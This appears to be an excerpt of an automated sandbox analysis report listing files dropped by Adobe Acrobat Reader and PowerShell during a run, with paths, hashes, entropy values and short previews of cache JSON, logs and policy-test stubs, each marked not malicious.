Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2557348750343
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJf+dPeUkwRe9:YvXKXNTQ+1UTbdJH5G28Ukee9
MD5:	0C3352E9234793BFB502506E205018D3
SHA1:	4DE1B05FB4E657338EEE3B397DC7C7B78DD9C2C8
SHA-256:	D2EC602B5883A9019A735662497C4129286801492ABE97D06A5A625D15A5486A
SHA-512:	5EC4C7A8E0715F808B27B0D847D298EA9824E8784A361C75CDDE1A3325A3FEA4BF35635CC2142980D060643A5E68BD8762A342D096DE86F2975A5176CEB25E7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.25313241652947
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJfbPtdPeUkwRe9:YvXKXNTQ+1UTbdJH5GDV8Ukee9
MD5:	D604AB6B065E38AE3E927210CB6D3451
SHA1:	6BDCDA7DE0CA96BC504E4B24AB7E0D6C027EE4A5
SHA-256:	6824C8CC585CE2E24F80977704CD1BBA45F8E20AFF14D4667FB442F821EB98A1
SHA-512:	58A2F05CC5A2ECD93157E26659FFBED4464F1157C68F2C8AF948D847218F6B4B8DDA57DFF22EB44B9EA6805B694B19FB0D8E513B349ACF9509C3A3ABDAE9DABE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2557754582369105
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJf21rPeUkwRe9:YvXKXNTQ+1UTbdJH5G+16Ukee9
MD5:	0C4635E5803B4277A8A3D8B5B106111D
SHA1:	3FAEBF4447D1A0785DE46059852C27BA0897ECBE
SHA-256:	220250FACFD683F996BFE6E4FE70DA32FA1886B80C8EFE44C42E6F36C471E50D
SHA-512:	53AC6381411A5043CF2BCF2406993C7CA2936B6BF9750FD8E8A90E91069038E2297742E2AE92FE2703AA3E84C3067748CA430CEBCF7AD21D9227A6627E700D7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.654698092420382
Encrypted:	false
SSDEEP:	24:Yv6XNTQgUX7iamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSE:Yv3gw78BgkDMUJUAh8cvME
MD5:	475F9F1DBBB6FB720CAE1838FE53A282
SHA1:	9B32F572705881CBB553A165E0F6124368F4FA52
SHA-256:	F13B1AFF4719F6C8DC1EB424C93A40E4BC3E39D8B388392919F429B615A8B194
SHA-512:	EE907CF3F7B943C3EEF372B1EA2EE7E22AA147AE518C86633C23B3F39005B94DED804A94E064713E27D376C12BD5E60A93104CFBFA61E837BA8A029018DF3772
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2321649215633235
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJfshHHrPeUkwRe9:YvXKXNTQ+1UTbdJH5GUUUkee9
MD5:	57614CFA4746895C46D421F73492C2EC
SHA1:	E610A1E5AA051D698F1AD7D2EDE3ED5A09836FC2
SHA-256:	B14B242D55A37B2CBB620DCC24F20482EF0EB95467DE81DB77D66167D6CA8191
SHA-512:	7ABC14273DB97F5E73B53A5EB63D7357B6925674C493561A662E446CB3EE7AD1B32C0FD7A4C5DA14BD298539BFD10ACE30684AD1AA3CA5A18B29A5F0E3A8DC9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.24282117713852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJTqgFCrPeUkwRe9:YvXKXNTQ+1UTbdJH5GTq16Ukee9
MD5:	8FB57B00761CBCB900559FD769D4D998
SHA1:	2E74AE69FC14213078B014D1B40C31560AFF63B8
SHA-256:	145FA586A49455207DD92163D2B5CEFCCD289CF0211139094BD851BDF4189837
SHA-512:	DC22371DFCFB4D17D40CF48E5A213D8B51CA8A74BF9FBF1639AF3DFCA8FE1524128415E76DC608162FB8D5DC3B66036E6871C53AE62D7A998F7302110650BD45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136558310803639
Encrypted:	false
SSDEEP:	48:YeaH5LaIo3xZVguDB0uDEEGLaSP8ZDpxBm3fudY9vcSPZp:naZsBZVlEE8emhki
MD5:	27AEA6CA269F1DDBCD479789B6B40809
SHA1:	B82107953E9240A0348F0D59B37A9394BDD777B1
SHA-256:	BB2B8950C0E2728D8A9976951AA78215E792FB8DD5FE52DB2B22A604872CD3BB
SHA-512:	2652B09F90440DBCABE59CC5AD0450AAF3594730DA8622B685D152670342CE3A03E7FDDB976AC6A8968CC347A686C664822A2CDE5D66F5D7A8C80CBFF0AAD739
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9686f4a53dc3ea802135749b4184eede","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558721000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4f1ad1e2e1c79439ce940e222f1d7436","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558721000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"01546d732b35fa0f506af3cbf4f22ac2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558721000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"58567ff5851d31ca6e008cfe67e0f02e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558721000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"bd65db88ad7bc6a0ce485c9084615eb8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558721000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"959cffcdc8ea3283576ac03982efb2e7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3199816385205154
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yg+EXSqXlyn:TGufl2GL7msUKB0M0+Tb608YVrn
MD5:	F8B88DBDA679FD5031D88C4E692EF748
SHA1:	B1768FA02D5FC716B02FDCF6C9CB93B5225B5DC8
SHA-256:	3A74F5A8EBFB135462D9C9803138803BAA7E1856BD5DAB8CEF558120197E4672
SHA-512:	38D21AFD1AFEF8599445D8C7736C8473A0489CE390C1921E65C1EC53117A49824D1EFD56D7A5A0A5D6CC064C1B58570EEBDF57573314018CB23B8E0D5BA2337C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.779018029039265
Encrypted:	false
SSDEEP:	24:7+tCl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yg/EXSqXlyGKaiwqLhx/XYKQvGT:7MYKB0M0+Tb608YYrGK0qFl2GL7ms60
MD5:	DD0BC237A973F11FF9498FBE888F2D81
SHA1:	BD7EA32BF8695C61893580A3922EBF83277BAB6D
SHA-256:	038737EBDE9B6E5A0FE88264CC855F72CF8EABE7309D054B1D9DDB736A30DBD8
SHA-512:	3BB795CCA58E7CD4739FFF0B14CA7E50B2DC9AAE3D3DF079381F556D8219EDE3FEC7CBBE36CB40CAE3D96EAF7037A4BC3A34823D32762A731C609D4B384A7F13
Malicious:	false
Preview:	.... .c.......4...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgoG2yfX55RNqF913msQuM5xeFX+Yyu:6a6TZ44ADEoG2yf813mZuYO+K
MD5:	59B7D6BEFA5813CC4DDE50C2931A1E60
SHA1:	B0F829F948DD3C01FC1620A75B7338B46D0B7920
SHA-256:	319769BE4CCC02F7C7912B2D37B9E85305669B6E67A375D8C0D577AADC5E6AED
SHA-512:	AB18E6F5A974397DCC204A18681D91B1AB071259695E047F75AD4EA1D9770DA2A32DC55AE681BD075D5492A7E33280579732E0AFBE40BE00D7C2BB9E3F86009B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIfef82.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClBGKw:Qw946cPbiOxDlbYnuRK+biw
MD5:	340747993848B98A79C85659CFF03B67
SHA1:	5D49E37AEF96EDA9B44FF930F8ACE07EAFAB5175
SHA-256:	05C0FC6029BAEA98A71E13C45EA9808D616E292ACC2B308D11974E49DA6BD52D
SHA-512:	F28D0CD70A4BD5815DB517771DA46497DECEBFE574C52D85D60F154D2E38BD039A3768F5DEF719A010B9E7CAB2DE1F2E0DD52A491F690A02C7F1F04C7BDB876C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.2.5.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_az4522n0.cvi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t1txkqtr.rs5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-25-13-892.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3627554339751065
Encrypted:	false
SSDEEP:	384:p+UvcyZDyQdXPACc4lOjPp6zHYZHjv7J+l8uYsuH60ElHf7rpk+NBwBAJCA18lNd:J49
MD5:	65AABE1FF715B392A4D2EA69FEF5B907
SHA1:	0036F25FEA8F1C4BC35B340219A95A43BCCE0E7F
SHA-256:	4BE59B7D1E0471D802F35CF311811F30B70D336ECCAF20A155DAEB4A29A173B1
SHA-512:	160676F7B0C62E82B982EF51061C9A9574A0041BFC625BCDC3CF9A18BE6D34D7586BC9ABFAEE6AA5527237BA5EFE9CD5DF6A2BAA6B07F88704CE7E0D31FE1662
Malicious:	false
Preview:	SessionID=1c4317b9-bad2-4b20-8c23-c6a24ed4e3fa.1736558713936 Timestamp=2025-01-10T20:25:13:936-0500 ThreadID=8480 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1c4317b9-bad2-4b20-8c23-c6a24ed4e3fa.1736558713936 Timestamp=2025-01-10T20:25:13:938-0500 ThreadID=8480 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1c4317b9-bad2-4b20-8c23-c6a24ed4e3fa.1736558713936 Timestamp=2025-01-10T20:25:13:938-0500 ThreadID=8480 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1c4317b9-bad2-4b20-8c23-c6a24ed4e3fa.1736558713936 Timestamp=2025-01-10T20:25:13:938-0500 ThreadID=8480 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1c4317b9-bad2-4b20-8c23-c6a24ed4e3fa.1736558713936 Timestamp=2025-01-10T20:25:13:938-0500 ThreadID=8480 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400440608827973
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmy:EGvIcNYdVrneU
MD5:	8116720F34CC7C0261712EFA8C36AE2E
SHA1:	E6AD45D495715F1FCB76D21CE83740ABB926D8E7
SHA-256:	9205FA821A291065433E90F3FAC3F4A45B0E5806C34573CAB3AD4ED10E0A63C4
SHA-512:	B7480F5ACE28D53D667835975527B18C56D866C516CC27BB9472E224191D9522984224837B10852DDA8679645E15F625BAA51F3B82C23C48F63388BDFFA90E7D
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0742226e-08a0-45a3-9fce-992a6352752a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\5a75a313-9388-44be-9399-f27d86c22a09.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	DEE0FE98070EB4399C6C08DEE92C8A7C
SHA1:	D08807DA97D939DA79375C93501EECC21D1FE6CF
SHA-256:	814464759EB985546897367FB0C95C0DF21167DA76399EAE08A87CE664B76575
SHA-512:	8D8B910C0C21E2F495EE16ABECC81B968791665EF30A46C6ABA1E0BB40F419D9A25FD75F80D0C0418F4E8D880E0A63BA9529113C6618C90B0CAB55D945D4DDFA
Malicious:	false
